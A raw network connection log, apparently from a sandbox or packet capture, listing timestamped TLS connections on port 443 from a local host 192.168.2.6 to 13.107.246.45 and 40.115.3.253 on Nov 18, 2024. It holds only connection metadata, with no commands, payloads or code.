Nov 18, 2024 02:34:29.610152006 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.610172987 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.610177994 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.613396883 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.613451958 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.613516092 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.614495993 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.614521027 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.614614010 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.614665985 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.614686966 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.614741087 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.614753962 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.876147985 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.876755953 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.876785994 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.877240896 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.877247095 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.904977083 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.908539057 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.908730984 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.908751011 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.909192085 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.909197092 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.911083937 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.911118984 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:29.911478043 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:29.911484003 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.010548115 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.010575056 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.010636091 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.010658026 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.010684967 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.010961056 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.010979891 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.010991096 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.010998011 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.013565063 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.013592958 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.013653040 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.013788939 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.013803959 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.039376974 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.039453983 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.039516926 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.039695978 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.039695978 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.039710045 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.039719105 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.042124033 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.042155981 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.042351961 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.042351961 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.042382002 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044186115 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044212103 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044253111 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.044262886 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044280052 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044326067 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.044450045 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.044467926 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.044482946 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.044491053 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.049407005 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.049441099 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.049498081 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.049640894 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.049655914 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.343605995 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.344338894 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.344352007 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.344790936 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.344795942 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.347194910 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.347539902 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.347557068 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.347933054 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.347939014 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.470772982 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.470839977 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.470899105 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.471091986 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.471092939 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.471110106 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.471121073 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.473722935 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.473762035 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.473998070 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.474036932 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.474042892 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.479367018 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.479513884 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.479582071 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.479621887 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.479621887 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.479650021 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.479662895 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.482028961 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.482053995 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.482112885 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.482275009 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.482285023 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.753091097 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.753562927 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.753592014 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.754257917 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.754265070 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.793040037 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.793787003 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.793797016 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.794487953 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.794492960 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.799611092 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.800018072 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.800028086 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.800394058 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.800399065 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.864101887 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:30.864162922 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:30.864249945 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:30.864839077 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:30.864857912 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:30.892623901 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.892771006 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.892941952 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.892973900 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.892973900 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.892988920 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.892999887 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.895697117 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.895723104 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.895803928 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.895982027 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.896003962 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.924396992 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.924597025 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.924666882 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.924777985 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.924777985 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.924793959 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.924806118 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.927355051 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.927443027 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.927539110 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.927684069 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.927721024 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.929419041 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.929590940 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.929660082 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.929817915 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.929830074 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.929842949 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.929850101 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.932173967 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.932236910 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:30.932326078 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.932468891 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:30.932491064 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.209630966 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.210345984 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.210365057 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.210959911 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.210966110 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.212061882 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.212574005 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.212589979 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.212951899 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.212958097 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.337137938 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.337300062 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.337363958 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.337685108 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.337685108 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.337698936 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.337716103 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.340979099 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.341029882 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.341108084 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.341414928 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.341458082 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.346534967 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.346683979 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.346752882 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.346875906 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.346908092 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.349518061 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.349574089 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.349646091 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.349935055 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.349963903 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.641381979 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.650362968 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.650377989 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.650994062 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.650999069 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.671585083 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.678929090 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.684505939 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.684525967 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.684925079 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.684931993 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.685265064 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.685327053 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.685806990 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.685818911 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.780106068 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.780260086 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.780371904 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.780963898 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.780982018 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.780993938 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.780998945 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.783904076 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.783981085 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.784080982 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.784214973 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.784252882 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.811614990 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.811681032 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.811793089 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.811873913 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.811933994 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.811968088 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.812038898 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.812055111 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.814286947 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.814361095 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.814443111 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.815438986 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.815474033 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.815603018 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.815603018 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.815637112 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.815642118 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.815665960 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.816035986 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.816060066 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.818046093 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.818075895 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.818181992 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.818305969 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:31.818320990 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:31.958817005 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:31.958890915 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:31.963882923 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:31.963896036 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:31.964160919 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:31.966187954 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:31.966309071 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:31.966315985 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:31.966779947 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:32.011329889 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:32.085304976 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.086050034 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.086615086 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.086653948 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.086689949 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.086709976 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.087070942 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.087079048 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.087121964 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.087135077 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.212626934 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:32.213207006 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:32.213217974 CET	443	49813	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:32.213248968 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:32.213279009 CET	49813	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:32.215204954 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.215411901 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.215487957 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.215519905 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.215569019 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.215821981 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.215974092 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.216033936 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.216665030 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.216665983 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.216702938 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.216728926 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.217190981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.217209101 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.217222929 CET	49817	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.217230082 CET	443	49817	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.220122099 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220140934 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.220244884 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220244884 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220263004 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.220364094 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220380068 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.220380068 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220454931 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.220474958 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.519342899 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.519933939 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.519957066 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.520397902 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.520406961 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.562195063 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.562629938 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.562655926 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.563050985 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.563059092 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.564779043 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.565047026 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.565059900 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.565392971 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.565397024 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.672089100 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.672187090 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.672262907 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.679595947 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.679622889 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.679636955 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.679645061 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.683000088 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.683036089 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.683120966 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.683291912 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.683301926 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.692668915 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.692815065 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.692877054 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.692933083 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.692945004 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.692958117 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.692965031 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.693252087 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.693406105 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.693450928 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.693480015 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.693490028 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.693499088 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.693506002 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.706935883 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.706969976 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.707087040 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.708159924 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.708177090 CET	443	49826	13.107.246.45	192.168.2.6
